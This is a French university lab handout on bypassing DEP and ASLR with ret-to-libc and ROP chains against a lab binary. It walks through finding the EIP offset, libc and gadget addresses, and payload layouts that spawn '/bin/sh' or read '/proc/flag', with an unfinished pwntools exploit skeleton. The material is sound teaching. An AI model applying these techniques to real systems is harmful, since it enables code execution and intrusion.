TP - Contournement des protections - 2025

January 8, 2025

Environnement de travail

Le projet se fera sur la même VM que les TPs.
Connectez vous à la VM en utilisant un client SSH: `$> ssh ...`
Lancez la commande `$> seclab tut06` afin de mettre en place l'environnement du projet
Rendez-vous dans le répertoire `$> ~/tuts/lab06/tut06-rop`
Un serveur SAMBA est fonctionnel sur la VM locale pour la partage de fichiers avec l'OS hôte.
Activez la création de crash dump `$> ulimit -c unlimited`. Les crash dumps seront créés dans le répertoire courant.

L'objectif de cette partie du projet est de comprendre comment contourner les protections DEP et ASLR. Pour cela :

1. Vous devez réaliser une étude sur ce type de techniques de contournement et en particulier `ret-to-libc` et `ROP chains`, puis les présenter.

2. Tester ces deux techniques sur le fichier `target` du lab.
   (a) Quelles sont les protections actives au niveau du programme `./target` ?
   (b) Exécutez plusieurs fois ce programme. Est-ce que la protection ASLR est active ?
   (c) Reproduisez le crash *segmentation fault* du programme.
      (a) Par quel caractère le registre EIP est-il écrasé ?
      (b) Quelle est la valeur de l'offset ?
   (c) Nous allons dans cette section initier ce qu'on appelle `ret-to-libc` attack. Cette méthode consiste à détourner le flux d'exécution du programme vers une fonction de la librairie libc à savoir ici afficher le message `"Password␣OK␣:)"` avec la fonction `printf`. Pour ce faire, notre payload doit ressembler à cette forme:

      indication:

      ```
      [buf ]
      [.....]
      [ra ] -> printf()
      [dummy]
      [arg1 ] -> "Password␣OK␣:)"
      ```

      (a) Trouver l'adresse de chargement de la librairie `libc` par rapport à `system`

indication:

`LIBC = system - offset --> offset = system - LIBC`
Pour lancer le programme dans gdb:
`$> gdb ./target`
`run`
`CTRL-C`
Pour afficher l'adresse d'une fonction dans gdb: `p system`
Pour afficher un calcul d'adresse dans gdb: `p/x 0xf7e202e0 - 0xf7de3000`
Pour connaître l'offset de `system` dans `LIBC` : `$> readelf -s /lib/i386-linux-gnu/libc-2.27.so | grep system` ou `vmmap adresse_de_system` dans `pwndbg`

(b) Trouver l'adresse de la fonction `printf` par rapport à `libc`
(c) Trouver l'adresse de la chaîne de caractères "Password OK :)"
(d) Remplacez maintenant les bonnes valeurs dans l'exploit python 1

Listing 1: ropexploit.py

```python
#!/usr/bin/env python2

from pwn import *

context.update(arch='i386', os='linux')


p = gdb.debug('./target', '''
break *printf
continue
''')


lines = p.recvuntil("Password:").splitlines()

def to_int(l):
    return int(l.split(":")[-1],16)


SYSTEM = to_int(lines[1])

print("SYSTEM : %x" % SYSTEM)

#LIBC = SYSTEM  - ?

#PRINTF = LIBC + ?

payload = [

        #"A"*offset_ecracement_eip,
        p32(PRINTF),
        "BBBB",
        #p32(address of "Passowrd  OK :)" string)

]



p.send("".join(payload))
p.interactive()
```

(e) Executez l'exploit, puis executez plusieurs fois la commande `continue` dans `gdb` jusqu'à avoir `BBBB` dans EIP. Le programme ne se termine pas correctement. Améliorez votre solution.

(f) Le problème avec cette solution est qu'on est limité par le nombre d'appel de fonction. Utilisez le principe des ROP chains afin:

(a) D'enchaîner les appels `system("/bin/sh")` et `exit(0)` en utilisant le gadget `pop/ret`. Votre payload doit ressembler à cela:

```
[buf ]
[..... ]
[old-ra ] -> 1)system
[ra ] -----------------> pop/ret
[old-arg1 ] -> 1)"/bin/sh"
[ra ] -> 2)exit
[dummy ]
[arg1 ] -> 0
```

indication: Pour rechercher un gadget

dans pwndbg:

```
ropper
```

sous linux :

```
$> ropper -f ./target
```

Pour chercher une chaîne de caractères dans pwndbg : `search "chane␣de␣caractres"`

(b) Allez plus loin avec ce principe pour produire cet enchainement d'appels de fonctions décrit dans le payload suivant :

```
[buf ]
[..... ]
[ra ] -> 1)open
[pop2 ] --------------------> pop/pop/ret
[arg1 ] -> "/proc/flag"
[arg2 ] -> 0 (O_RDONLY)
[ra ] -> 2)read
[pop3 ] ------------------> pop/pop/pop/ret
[arg1 ] -> 3 (new fd)
[arg2 ] -> tmp
[arg3 ] -> 1024
[ra ] -> 3)write
[dummy ]
[arg1 ] -> 1 (stdout)
[arg2 ] -> tmp
[arg3 ] -> 1024
```

indication:

- `tmp` est un emplacement quelconque autorisé en écriture dans le programme. Vous pouvez trouver cet emplacement avec la commande `vmmap` de `pwndbg`
- la chaîne `/proc/flag` peut être sauvegardée dans la pile.